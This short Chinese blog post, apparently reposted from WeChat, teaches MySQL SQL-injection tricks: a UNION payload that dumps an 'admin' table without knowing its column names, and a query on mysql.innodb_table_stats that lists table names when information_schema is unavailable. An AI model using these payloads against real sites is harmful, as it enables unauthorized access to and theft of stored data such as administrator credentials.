【奇技淫巧】Mysql注入时，猜不到列名，获取所有数据

作者：静夜思

原文链接：https://mp.weixin.qq.com/s/h5Pp_8tZh0XPJ9CwpKuc-Q

有时候我们不知道 **列名** ,因为不能访问 **Information_Schema** 或者其他原因

但是我们知道 **表名** ， 我们可以在不知道 **列名** 的情况下dump出该表的全部数据

我们有两个表 article、admin

方案一

```
select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)x
```

方案二

方案二是在exploit-db上看到的文章,Mysql版本大于5.5的情况下,
默认mysql数据库中多了两个表 **innodb_table_stats** 、 **innodb_table_index** 用来储存所有数据库名和表名

如果我们想获取某 **个数据库** 下面 **所有表名称**

```
select table_name from mysql.innodb_table_stats where database_name=数据库名;
```

https://www.exploit-db.com/docs/41274.pdf